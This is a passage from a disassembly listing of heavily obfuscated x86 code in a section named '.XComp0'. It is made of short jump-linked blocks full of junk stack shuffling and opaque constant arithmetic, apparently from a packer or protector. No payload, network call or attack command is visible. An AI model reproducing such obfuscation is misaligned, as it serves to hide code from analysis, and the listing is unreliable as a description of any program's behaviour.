		mov	ebp, 376A58F0h
		shr	ebp, 5
		sub	ebp, 40B76072h
		add	ebp, 733F3D4Ah
		or	edi, ebp
		jmp	loc_5978FC
; ---------------------------------------------------------------------------


loc_592604:				; CODE XREF: .XComp0:00584201j
		xor	ebp, 508E7F6Eh
		jmp	loc_591848
; ---------------------------------------------------------------------------


loc_59260F:				; CODE XREF: .XComp0:00595F1Cj
		mov	ecx, 2E9D447Bh
		sub	edx, ecx
		pop	ecx
		add	edx, ebx
		add	edx, 2E9D447Bh
		push	ebx
		jmp	loc_585D39
; ---------------------------------------------------------------------------


loc_592625:				; CODE XREF: .XComp0:00593A24j
		pop	ebx
		mov	ecx, edx
		jmp	loc_595095
; ---------------------------------------------------------------------------


loc_59262D:				; CODE XREF: .XComp0:0058EC3Ej
		push	edx
		mov	edx, 2
		jmp	loc_59005E
; ---------------------------------------------------------------------------


loc_592638:				; CODE XREF: .XComp0:0058AE72j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_585F12
; ---------------------------------------------------------------------------


loc_59264F:				; CODE XREF: .XComp0:0059290Ej
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shl	edx, 7
		push	ecx
		jmp	loc_5927EA
; ---------------------------------------------------------------------------


loc_59266E:				; CODE XREF: .XComp0:005956A0j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 261944CCh
		jmp	loc_592D9B
; ---------------------------------------------------------------------------


loc_592688:				; CODE XREF: .XComp0:0059011Dj
		push	1BB8h
		mov	[esp], ebx
		push	edi
		push	1DCB7341h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58B692
; ---------------------------------------------------------------------------


loc_5926A4:				; CODE XREF: .XComp0:00598103j
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_58C5D5
; ---------------------------------------------------------------------------


loc_5926B4:				; CODE XREF: .XComp0:00592020j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_591974
; ---------------------------------------------------------------------------


loc_5926BF:				; CODE XREF: .XComp0:00598D8Aj
		mov	ecx, 0A2EE879Bh
		sub	ecx, edi
		pop	edi
		shr	ecx, 2
		push	esi
		mov	esi, 7EBD5627h
		jmp	loc_5949FE
; ---------------------------------------------------------------------------


loc_5926D5:				; CODE XREF: .XComp0:0059558Dj
		mov	[esp], edx
		jmp	loc_58E351
; ---------------------------------------------------------------------------


loc_5926DD:				; CODE XREF: .XComp0:00589636j
		sub	eax, 2EF20CA0h
		dec	eax
		shl	eax, 5
		jmp	loc_5985AB
; ---------------------------------------------------------------------------


loc_5926EB:				; CODE XREF: .XComp0:00596A1Fj
		push	esi
		jmp	loc_596598
; ---------------------------------------------------------------------------


loc_5926F1:				; CODE XREF: .XComp0:0058FCCDj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_585517
; ---------------------------------------------------------------------------


loc_5926FA:				; CODE XREF: .XComp0:0058F5C8j
		push	4E11h
		mov	[esp], eax
		push	42CEh
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_589FF0
; ---------------------------------------------------------------------------


loc_592714:				; CODE XREF: .XComp0:005953CCj
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 18766353h
		sub	ebx, 6C101ED8h
		sub	ebx, eax
		jmp	loc_597C72
; ---------------------------------------------------------------------------


loc_59272D:				; CODE XREF: .XComp0:00587482j
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_593682
; ---------------------------------------------------------------------------


loc_592744:				; CODE XREF: .XComp0:00585512j
		push	539Bh
		mov	[esp], eax
		mov	ah, 4
		push	ebx
		mov	bl, 0E6h
		shl	bl, 7
		shr	bl, 1
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5983B2
; ---------------------------------------------------------------------------


loc_59276A:				; CODE XREF: .XComp0:005925E0j
		pop	esi
		sub	eax, 27391970h
		jmp	loc_58583E
; ---------------------------------------------------------------------------


loc_592775:				; CODE XREF: .XComp0:0058D084j
		pop	ebx
		push	60B8h
		mov	[esp], ecx
		mov	ecx, 559049BDh
		jmp	loc_5874BC
; ---------------------------------------------------------------------------


loc_592788:				; CODE XREF: .XComp0:00591045j
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	5344h
		mov	[esp], eax
		jmp	loc_587A90
; ---------------------------------------------------------------------------


loc_5927B1:				; CODE XREF: .XComp0:005870BFj
		mov	al, 6Ch
		mov	dh, al
		pop	eax
		add	dh, bh
		jmp	loc_5940FC
; ---------------------------------------------------------------------------


loc_5927BD:				; CODE XREF: .XComp0:00587EECj
		push	esi
		mov	esi, 1763E01h
		xor	ebp, esi
		pop	esi
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 35555392h
		sub	ebx, 7CF93537h
		add	ebx, 93B5464h
		sub	ebx, eax
		jmp	loc_5869F2
; ---------------------------------------------------------------------------


loc_5927EA:				; CODE XREF: .XComp0:00592669j
		mov	ecx, 0AD300E84h
		push	ebx
		mov	ebx, 4A323F0Eh
		sub	edx, ebx
		pop	ebx
		add	edx, ecx
		add	edx, 4A323F0Eh
		jmp	loc_58A633
; ---------------------------------------------------------------------------


loc_592805:				; CODE XREF: .XComp0:0058D0F4j
		mov	dx, [esp]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	loc_59724C
; ---------------------------------------------------------------------------


loc_592819:				; CODE XREF: .XComp0:00590B0Cj
		pop	ebp
		jmp	loc_586BEE
; ---------------------------------------------------------------------------


loc_59281F:				; CODE XREF: .XComp0:0058B83Ej
		push	ecx
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		pop	eax
		pop	esi
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_588CDD
; ---------------------------------------------------------------------------


loc_592831:				; CODE XREF: .XComp0:005946DBj
		pop	edi
		jmp	loc_5974B8
; ---------------------------------------------------------------------------


loc_592837:				; CODE XREF: .XComp0:005914F2j
		add	edx, 45E14106h
		sub	edx, 9D1386A8h
		xor	ecx, edx
		pop	edx
		push	576h
		mov	[esp], eax
		mov	eax, 47ED2B93h
		shr	eax, 6
		jmp	loc_590A52
; ---------------------------------------------------------------------------


loc_59285B:				; CODE XREF: .XComp0:005988A2j
		mov	[esp], ax
		jmp	loc_594B15
; ---------------------------------------------------------------------------


loc_592864:				; CODE XREF: .XComp0:00589C3Aj
		inc	ecx
		push	0
		sub	[esp], ecx
		pop	ecx
		sub	ecx, 1404892h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5931B0
; ---------------------------------------------------------------------------


loc_59289D:				; CODE XREF: .XComp0:00587387j
		shr	cl, 7
		xor	cl, 0ACh
		jmp	loc_591A20
; ---------------------------------------------------------------------------


loc_5928A8:				; CODE XREF: .XComp0:0058C7C4j
		mov	[esp], ecx
		push	edx
		push	esi
		mov	esi, 5ABF5191h
		mov	edx, esi
		jmp	loc_58CC44
; ---------------------------------------------------------------------------


loc_5928B9:				; CODE XREF: .XComp0:005957F8j
		xor	dword ptr [esp], 42A01583h
		jmp	loc_58B2D0
; ---------------------------------------------------------------------------


loc_5928C5:				; CODE XREF: .XComp0:00598D37j
		xor	ecx, eax
		jmp	loc_59601D
; ---------------------------------------------------------------------------


loc_5928CC:				; CODE XREF: .XComp0:00589A5Aj
		add	ecx, 0CAC1E845h
		jmp	loc_58446B
; ---------------------------------------------------------------------------


loc_5928D7:				; CODE XREF: .XComp0:00594640j
		add	ecx, ebp
		sub	ecx, 744E0D5Dh
		pop	ebp
		jmp	loc_584206
; ---------------------------------------------------------------------------


loc_5928E5:				; CODE XREF: .XComp0:00596D42j
		mov	[esp], ebp
		push	ecx
		jmp	loc_58829C
; ---------------------------------------------------------------------------


loc_5928EE:				; CODE XREF: .XComp0:0058EB0Aj
		xor	eax, 4DE7FCB5h
		mov	ecx, eax
		pop	eax
		add	ecx, 7DE56ED9h
		sub	ecx, eax
		sub	ecx, 7DE56ED9h
		push	dword ptr [esp]
		jmp	loc_58804B
; ---------------------------------------------------------------------------


loc_59290C:				; CODE XREF: .XComp0:0058ECF5j
		sub	edx, edi
		jmp	loc_59264F
; ---------------------------------------------------------------------------


loc_592913:				; CODE XREF: .XComp0:00588649j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_587B7A
; ---------------------------------------------------------------------------


loc_592938:				; CODE XREF: .XComp0:005899A9j
		push	edx
		push	715B4A23h
		pop	edx
		xor	edx, 715B4A21h
		push	edx
		push	esi
		jmp	loc_583B9B
; ---------------------------------------------------------------------------


loc_59294C:				; CODE XREF: .XComp0:0058A304j
		pop	edi
		sub	esp, 4
		jmp	loc_593FCB
; ---------------------------------------------------------------------------


loc_592958:				; CODE XREF: .XComp0:00598BE5j
		add	edx, 52E537B6h
		add	edx, ebx
		sub	edx, 52E537B6h
		jmp	loc_58C2FE
; ---------------------------------------------------------------------------


loc_59296B:				; CODE XREF: .XComp0:00592313j
		shr	ebp, 6
		sub	ebp, 38517658h
		push	ecx
		push	edi
		push	20707CA4h
		pop	edi
		sub	edi, 0F7D53498h
		jmp	loc_58A65F
; ---------------------------------------------------------------------------


loc_592987:				; CODE XREF: .XComp0:0058E196j
		add	eax, 4
		jmp	loc_594C72
; ---------------------------------------------------------------------------


loc_592991:				; CODE XREF: .XComp0:005940AFj
		pop	edi
		jmp	loc_592BD0
; ---------------------------------------------------------------------------


loc_592997:				; CODE XREF: .XComp0:00589A13j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_597442
; ---------------------------------------------------------------------------


loc_5929B8:				; CODE XREF: .XComp0:00587C90j
		sub	edx, 21CC20EFh
		mov	esi, edx
		pop	edx
		mov	ecx, esi
		pop	esi
		shr	ecx, 3
		jmp	loc_5977AE
; ---------------------------------------------------------------------------


loc_5929CC:				; CODE XREF: .XComp0:005951ABj
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_584482
; ---------------------------------------------------------------------------


loc_5929DF:				; CODE XREF: .XComp0:0058FC75j
		push	ebp
		push	44ED21ABh
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 8
		jmp	loc_598B8B
; ---------------------------------------------------------------------------


loc_5929F3:				; CODE XREF: .XComp0:00588DB0j
		push	ebp
		mov	ebp, 4
		push	ecx
		jmp	loc_588B79
; ---------------------------------------------------------------------------


loc_5929FF:				; CODE XREF: .XComp0:005966F2j
		add	eax, esi
		pop	esi
		add	eax, ebx
		sub	eax, 35CC4353h
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58E17A
; ---------------------------------------------------------------------------


loc_592A14:				; CODE XREF: .XComp0:005921EEj
		push	51E1h
		jmp	loc_58735D
; ---------------------------------------------------------------------------


loc_592A1E:				; CODE XREF: .XComp0:00593C8Cj
		and	edi, 1E09745Eh
		inc	edi
		add	edi, 75DBE890h
		jmp	loc_591ED4
; ---------------------------------------------------------------------------


loc_592A30:				; CODE XREF: .XComp0:0059196Fj
		push	edx
		jmp	loc_59808E
; ---------------------------------------------------------------------------


loc_592A36:				; CODE XREF: .XComp0:0058E325j
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		push	esi
		jmp	loc_593B62
; ---------------------------------------------------------------------------


loc_592A58:				; CODE XREF: .XComp0:0058E964j
		xchg	ebx, [esp]
		pop	esp
		push	edi
		jmp	loc_585E53
; ---------------------------------------------------------------------------


loc_592A62:				; CODE XREF: .XComp0:0058C6C3j
		pop	eax
		jmp	loc_5868BD
; ---------------------------------------------------------------------------


loc_592A68:				; CODE XREF: .XComp0:00593815j
		push	eax
		jmp	loc_59708F
; ---------------------------------------------------------------------------


loc_592A6E:				; CODE XREF: .XComp0:0058CD1Bj
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_58A3D9
; ---------------------------------------------------------------------------


loc_592A7D:				; CODE XREF: .XComp0:0058B4D7j
		push	ax
		jmp	loc_58B4AE
; ---------------------------------------------------------------------------


loc_592A84:				; CODE XREF: .XComp0:00590FA5j
		add	ecx, 7E0B0502h
		sub	ecx, 11FE7769h
		dec	ecx
		jmp	loc_58C811
; ---------------------------------------------------------------------------


loc_592A96:				; CODE XREF: .XComp0:00593DEEj
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_592A9E:				; CODE XREF: .XComp0:00589124j
		mov	al, 0F0h
		push	eax
		jmp	loc_58945F
; ---------------------------------------------------------------------------


loc_592AA6:				; CODE XREF: .XComp0:00584D64j
		push	esp
		pop	esi
		push	ebx
		push	34F958C5h
		pop	ebx
		shl	ebx, 8
		push	esi
		jmp	loc_58A7E2
; ---------------------------------------------------------------------------


loc_592AB8:				; CODE XREF: .XComp0:005944AFj
		pop	edx
		xor	ebp, 5995896h
		jmp	loc_595D55
; ---------------------------------------------------------------------------


loc_592AC4:				; CODE XREF: .XComp0:00591D0Dj
		mov	ebx, 4
		sub	esi, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58D2EA
; ---------------------------------------------------------------------------


loc_592ADC:				; CODE XREF: .XComp0:0059575Aj
		mov	esi, 56B96347h
		jmp	loc_597A84
; ---------------------------------------------------------------------------


loc_592AE6:				; CODE XREF: .XComp0:0058BED7j
		pop	eax
		add	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_58D4D2
; ---------------------------------------------------------------------------


loc_592AF0:				; CODE XREF: .XComp0:0058ACB0j
		mov	esi, 13385684h
		sub	esi, 1
		jmp	loc_5872B9
; ---------------------------------------------------------------------------


loc_592AFD:				; CODE XREF: .XComp0:00594701j
		push	ebx
		push	713041F5h
		jmp	loc_5875F3
; ---------------------------------------------------------------------------


loc_592B08:				; CODE XREF: .XComp0:0058A90Dj
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	ebx, 3DD6936h
		jmp	loc_58A555
; ---------------------------------------------------------------------------


loc_592B29:				; CODE XREF: .XComp0:0058D38Ej
		mov	[esp], ebx
		jmp	loc_59692E
; ---------------------------------------------------------------------------


loc_592B31:				; CODE XREF: .XComp0:0058C402j
		pop	eax
		sub	ebx, ecx
		pop	ecx
		pop	ebp
		pop	eax
		push	edi
		sub	esp, 4
		mov	[esp], eax
		push	35D7599h
		pop	eax
		or	eax, 5477572Ch
		sub	eax, 577F77B9h
		mov	edi, eax
		jmp	loc_597ACA
; ---------------------------------------------------------------------------


loc_592B58:				; CODE XREF: .XComp0:00587280j
		mov	[esp], edi
		mov	edi, 6436E95h
		push	ecx
		push	ebp
		mov	ebp, 4CEF4D63h
		inc	ebp
		add	ebp, 34AA08A1h
		inc	ebp
		xor	ebp, 8CAB24D0h
		jmp	loc_59758C
; ---------------------------------------------------------------------------


loc_592B7A:				; CODE XREF: .XComp0:00593BBCj
		push	16DE5ECBh
		pop	eax
		push	esi
		jmp	loc_587957
; ---------------------------------------------------------------------------


loc_592B86:				; CODE XREF: .XComp0:00590C6Bj
		pop	ebx
		jmp	loc_595A4F
; ---------------------------------------------------------------------------


loc_592B8C:				; CODE XREF: .XComp0:00593869j
		mov	[esp], eax
		push	2B301322h
		pop	eax
		neg	eax
		sub	eax, 78D7903Eh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------


loc_592BA1:				; CODE XREF: .XComp0:005923A2j
		mov	edx, 521C3E9Eh
		jmp	loc_584963
; ---------------------------------------------------------------------------


loc_592BAB:				; CODE XREF: .XComp0:0059835Dj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_58C0E5
; ---------------------------------------------------------------------------


loc_592BBE:				; CODE XREF: .XComp0:00594F41j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		push	28897C1Ch
		jmp	loc_585E80
; ---------------------------------------------------------------------------


loc_592BD0:				; CODE XREF: .XComp0:00592992j
		not	edi
		push	38F9h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, edi
		xchg	edx, edi
		pop	edx
		push	ebp
		jmp	loc_590CC4
; ---------------------------------------------------------------------------


loc_592BEA:				; CODE XREF: .XComp0:00593C54j
		push	ebx
		push	ebp
		jmp	loc_5934F8
; ---------------------------------------------------------------------------


loc_592BF1:				; CODE XREF: .XComp0:0058C9A3j
		sub	ecx, 0EAD35018h
		push	esi
		push	11B76D67h
		pop	esi
		sub	eax, esi
		pop	esi
		jmp	loc_58D36E
; ---------------------------------------------------------------------------


loc_592C06:				; CODE XREF: .XComp0:0058C91Aj
		inc	edi
		neg	edi
		and	edi, 19BF53B6h
		jmp	loc_598239
; ---------------------------------------------------------------------------


loc_592C14:				; CODE XREF: .XComp0:0058F30Fj
		push	1F2Eh
		jmp	loc_58C0A1
; ---------------------------------------------------------------------------


loc_592C1E:				; CODE XREF: .XComp0:005934F3j
		and	cl, 69h
		sub	cl, 0EDh
		jmp	loc_58659C
; ---------------------------------------------------------------------------


loc_592C29:				; CODE XREF: .XComp0:0058A982j
		or	ebx, eax
		pop	eax
		push	eax
		jmp	loc_58A806
; ---------------------------------------------------------------------------


loc_592C32:				; CODE XREF: .XComp0:005953E7j
		mov	[esp], ebp
		jmp	loc_58706D
; ---------------------------------------------------------------------------


loc_592C3A:				; CODE XREF: .XComp0:0058C20Ej
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_592C4C:				; CODE XREF: .XComp0:0058767Bj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2BCA4CD4h
		shr	edi, 4
		neg	edi
		add	edi, 1EEA1522h
		push	edx
		mov	edx, 1467BFB8h
		add	edi, edx
		jmp	loc_58A1D1
; ---------------------------------------------------------------------------


loc_592C70:				; CODE XREF: .XComp0:00594635j
		push	ecx
		mov	ecx, 262F1034h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_593787
; ---------------------------------------------------------------------------


loc_592C7E:				; CODE XREF: .XComp0:005943B5j
		add	edx, 0AF9F9041h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, edi
		jmp	loc_584F51
; ---------------------------------------------------------------------------


loc_592C93:				; CODE XREF: .XComp0:0058F6BEj
		push	dword ptr [esp]
		jmp	loc_592DDB
; ---------------------------------------------------------------------------


loc_592C9B:				; CODE XREF: .XComp0:005942C5j
		mov	ecx, [esp]
		add	esp, 4
		or	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	edx, 727E5FA3h
		sub	edx, 70525F20h
		add	eax, edx
		pop	edx
		jmp	loc_5977D3
; ---------------------------------------------------------------------------


loc_592CC1:				; CODE XREF: .XComp0:0059554Aj
		pop	eax
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		jmp	loc_593650
; ---------------------------------------------------------------------------


loc_592CD5:				; CODE XREF: .XComp0:0058BA22j
		mov	esi, 4
		push	edx
		mov	edx, 6C9601C1h
		add	ecx, edx
		jmp	loc_5919F4
; ---------------------------------------------------------------------------


loc_592CE7:				; CODE XREF: .XComp0:00596D82j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_58D985
; ---------------------------------------------------------------------------


loc_592CF6:				; CODE XREF: .XComp0:0059410Ej
		push	edi
		mov	edi, 0
		sub	edi, ebx
		mov	ebx, edi
		pop	edi
		add	ebx, 7D0C1F0Dh
		neg	ebx
		jmp	loc_593615
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_58F0E0
; ---------------------------------------------------------------------------


loc_592D2E:				; CODE XREF: .XComp0:00596A0Dj
		push	ebx
		push	ecx
		push	eax
		jmp	loc_59144C
; ---------------------------------------------------------------------------


loc_592D36:				; CODE XREF: .XComp0:005986EBj
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		mov	edi, 5D5E2514h
		inc	edi
		push	570Bh
		jmp	loc_58A48F
; ---------------------------------------------------------------------------


loc_592D4C:				; CODE XREF: .XComp0:005983FFj
		push	edx
		mov	dh, 38h
		jmp	loc_585B2C
; ---------------------------------------------------------------------------


loc_592D54:				; CODE XREF: .XComp0:0058CD60j
		mov	[esp], ax
		jmp	loc_58D016
; ---------------------------------------------------------------------------


loc_592D5D:				; CODE XREF: .XComp0:00585EA7j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		jmp	loc_594600
; ---------------------------------------------------------------------------


loc_592D6D:				; CODE XREF: .XComp0:005892B0j
		xor	bl, 0D2h
		xor	cl, bl
		pop	ebx
		jmp	loc_597BDC
; ---------------------------------------------------------------------------


loc_592D78:				; CODE XREF: .XComp0:00595C8Fj
		add	[esp+4], edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58C741
; ---------------------------------------------------------------------------


loc_592D88:				; CODE XREF: .XComp0:00596942j
		mov	eax, 16E3649Dh
		mov	ebp, eax
		pop	eax
		not	ebp
		neg	ebp
		not	ebp
		jmp	loc_588F9D
; ---------------------------------------------------------------------------


loc_592D9B:				; CODE XREF: .XComp0:00592683j
		not	ebp
		jmp	loc_596E0E
; ---------------------------------------------------------------------------


loc_592DA2:				; CODE XREF: .XComp0:005934ABj
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_596D1E
; ---------------------------------------------------------------------------


loc_592DCA:				; CODE XREF: .XComp0:0058EAA2j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_598315
; ---------------------------------------------------------------------------


loc_592DDB:				; CODE XREF: .XComp0:00592C96j
		pop	eax
		add	esp, 4
		add	edx, eax
		push	5971h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4E1C2205h
		push	ebx
		jmp	loc_587265
; ---------------------------------------------------------------------------


loc_592DF8:				; CODE XREF: .XComp0:00589595j
		push	ecx
		mov	ecx, 0FAF25FA0h
		push	esi
		mov	esi, 216A3DB3h
		push	ebp
		mov	ebp, 0BE68F26Ch
		sub	esi, ebp
		jmp	loc_5958DD
; ---------------------------------------------------------------------------


loc_592E11:				; CODE XREF: .XComp0:0058BF9Fj
		mov	[esp], edi
		pop	ebx
		jmp	loc_58FB71
; ---------------------------------------------------------------------------


loc_592E1A:				; CODE XREF: .XComp0:00597D31j
		not	dword ptr [esp]
		pop	ebp
		and	ebp, 1509417Ch
		add	ebp, 160AF785h
		mov	edx, ebp
		pop	ebp
		push	7AB5h
		mov	[esp], edx
		jmp	loc_58537F
; ---------------------------------------------------------------------------


loc_592E3A:				; CODE XREF: .XComp0:00584FEAj
		pop	ecx
		add	edi, 4
		jmp	loc_585EC1
; ---------------------------------------------------------------------------


loc_592E46:				; CODE XREF: .XComp0:0058C037j
		add	al, bl
		jmp	loc_58F70E
; ---------------------------------------------------------------------------


loc_592E4D:				; CODE XREF: .XComp0:0059135Aj
		push	esp
		pop	ebp
		jmp	loc_592068
; ---------------------------------------------------------------------------


loc_592E54:				; CODE XREF: .XComp0:005932F8j
		pop	ecx
		sub	ebx, 769609ACh
		jmp	loc_597B50
; ---------------------------------------------------------------------------


loc_592E60:				; CODE XREF: .XComp0:0059010Fj
		sub	ebp, 36192A23h
		sub	ebp, 20921998h
		add	ebp, edi
		jmp	loc_58A5DB
; ---------------------------------------------------------------------------


loc_592E73:				; CODE XREF: .XComp0:0058D78Fj
		xor	dl, 3Ah
		xor	al, dl
		pop	edx
		sub	al, 3Fh
		mov	bh, al
		pop	eax
		sub	cl, bh
		pop	ebx
		shl	cl, 5
		sub	cl, 3Dh
		add	dh, cl
		pop	ecx
		sub	al, 0F6h
		sub	al, dh
		add	al, 0F6h
		pop	edx
		sub	al, 0
		sub	al, bl
		add	al, 0
		add	al, 93h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		xchg	edx, [esp]
		pop	esp
		jmp	loc_593B33
; ---------------------------------------------------------------------------


loc_592EB1:				; CODE XREF: .XComp0:00593E73j
		mov	[esp], edi
		xchg	esi, [esp]
		not	esi
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_587E76
; ---------------------------------------------------------------------------


loc_592EC7:				; CODE XREF: .XComp0:00598593j
		shl	edx, 4
		add	edx, 2FB65B7Bh
		or	eax, edx
		jmp	loc_584A3F
; ---------------------------------------------------------------------------


loc_592ED7:				; CODE XREF: .XComp0:0058C447j
		pop	ebx
		add	eax, 3C0B3872h
		jmp	loc_58A451
; ---------------------------------------------------------------------------


loc_592EE2:				; CODE XREF: .XComp0:005988D9j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 41581DA9h
		xor	edi, ebp
		jmp	loc_597F50
; ---------------------------------------------------------------------------


loc_592EF8:				; CODE XREF: .XComp0:00585EBCj
		add	dword ptr [esp], 4
		jmp	loc_584D60
; ---------------------------------------------------------------------------


loc_592F04:				; CODE XREF: .XComp0:00586E15j
		add	esp, 4
		push	ecx
		jmp	loc_58E9E8
; ---------------------------------------------------------------------------


loc_592F0D:				; CODE XREF: .XComp0:0058F138j
		add	ebp, 0FFFFFFFFh
		neg	ebp
		jmp	loc_5971F8
; ---------------------------------------------------------------------------


loc_592F1A:				; CODE XREF: .XComp0:00587B42j
		mov	[esp], esp
		push	6FA8h
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_58FCFB
; ---------------------------------------------------------------------------


loc_592F33:				; CODE XREF: .XComp0:00583DADj
		add	edi, 0C0359ADh
		jmp	loc_58970B
; ---------------------------------------------------------------------------


loc_592F3E:				; CODE XREF: .XComp0:00598F71j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 50583C23h
		jmp	loc_5943E1
; ---------------------------------------------------------------------------


loc_592F5E:				; CODE XREF: .XComp0:0058B1B9j
		pop	ecx
		dec	ebx
		neg	ebx
		add	ebx, 9B21396Fh
		mov	ecx, ebx
		pop	ebx
		add	ecx, 40FC5A18h
		shr	ecx, 2
		and	ecx, 572C2355h
		jmp	loc_58D2CD
; ---------------------------------------------------------------------------


loc_592F7F:				; CODE XREF: .XComp0:00595E12j
		push	esp
		jmp	loc_586BA8
; ---------------------------------------------------------------------------


loc_592F85:				; CODE XREF: .XComp0:0058401Bj
		mov	edi, eax
		pop	eax
		jmp	loc_583AEE
; ---------------------------------------------------------------------------


loc_592F8D:				; CODE XREF: .XComp0:0058492Dj
		neg	edx
		add	edx, 7EB7AAE3h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 0CA60975h
		mov	ecx, edi
		pop	edi
		xor	ecx, 17066875h
		xor	ecx, 6CF5373Ah
		add	ecx, 298719E0h
		jmp	loc_598F9C
; ---------------------------------------------------------------------------


loc_592FC1:				; CODE XREF: .XComp0:00598B15j
		shl	edi, 2
		xor	edi, 2BDA214h
		jmp	loc_586472
; ---------------------------------------------------------------------------


loc_592FCF:				; CODE XREF: .XComp0:00596C02j
		push	ecx
		mov	ecx, 5F0E559Ch
		or	esi, ecx
		pop	ecx
		sub	esi, 0EEF22DB4h
		jmp	loc_596263
; ---------------------------------------------------------------------------


loc_592FE3:				; CODE XREF: .XComp0:0058BD14j
		mov	edi, ecx
		pop	ecx
		mov	ebx, edi
		pop	edi
		shr	ebx, 3
		jmp	loc_588BB4
; ---------------------------------------------------------------------------


loc_592FF1:				; CODE XREF: .XComp0:00590186j
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	6174h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_584FCF
; ---------------------------------------------------------------------------


loc_59301E:				; CODE XREF: .XComp0:0058DE86j
		add	al, 0A0h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59607A
; ---------------------------------------------------------------------------


